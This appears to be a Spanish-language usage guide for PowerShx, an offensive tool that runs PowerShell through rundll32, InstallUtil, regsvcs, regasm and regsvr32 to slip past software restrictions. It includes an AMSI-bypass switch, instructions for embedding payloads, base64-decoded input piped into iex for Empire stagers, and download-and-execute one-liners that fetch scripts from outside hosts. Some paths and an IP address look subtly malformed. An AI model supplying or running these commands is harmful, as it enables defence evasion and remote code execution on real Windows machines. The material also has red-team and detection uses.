
Ejecutar Powershell sin restricciones de software.
Ejecución de PowerShell no administrada usando DLLs o un ejecutable independiente.
PowerShx es una reescritura y expansión del proyecto PowerShdll. PowerShx proporciona funcionalidades para evadir AMSI y ejecutar PS Cmdlets.
rundll32 PowerShx.dll,main -e <Script de PS a ejecutar>
rundll32 PowerShx.dll,main -f <ruta> Ejecutar el script pasado como argumento
rundll32 PowerShx.dll,main -f <ruta> -c <Cmdlet de PS> Cargar un script y ejecutar un cmdlet de PS
rundll32 PowerShx.dll,main -w Iniciar una consola interactiva en una nueva ventana
rundll32 PowerShx.dll,main -i Iniciar una consola interactiva
rundll32 PowerShx.dll,main -s Intentar evadir AMSI
rundll32 PowerShx.dll,main -v Imprimir la salida de la ejecución en la consola
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Llama a DllUnregisterServer
regsvr32 /s PowerShx.dll --> Llama a DllRegisterServer
PowerShx.exe -i Iniciar una consola interactiva
PowerShx.exe -e <Script de PS a ejecutar>
PowerShx.exe -f <ruta> Ejecutar el script pasado como argumento
PowerShx.exe -f <ruta> -c <Cmdlet de PS> Cargar un script y ejecutar un cmdlet de PS
PowerShx.exe -s Intentar evadir AMSI.
Se pueden incrustar cargas útiles actualizando el diccionario de datos "Common.Payloads.PayloadDict" en el proyecto "Common" y llamándolo en el método PsSession.cs -> Handle(). Ejemplo: en el método Handle():
private void Handle(Options options)
{
// Pre-ejecución antes del script de usuario
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Nota: Los stagers de Empire deben ser decodificados usando [System.Text.Encoding]::Unicode
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
Algunos errores no parecen mostrarse en la salida. Puede resultar confuso, ya que comandos como Import-Module no muestran un error en caso de fallo. Asegúrese de haber escrito los comandos correctamente.
En modo dll, el modo interactivo y la salida de comandos dependen del secuestro de la consola del proceso padre. Si el proceso padre no tiene consola, use el modificador -n para no mostrar la salida; de lo contrario, la aplicación fallará.
Debido a la forma en que Rundll32 maneja los argumentos, usar varios espacios entre modificadores y argumentos puede causar problemas. Los espacios múltiples dentro de los scripts están bien.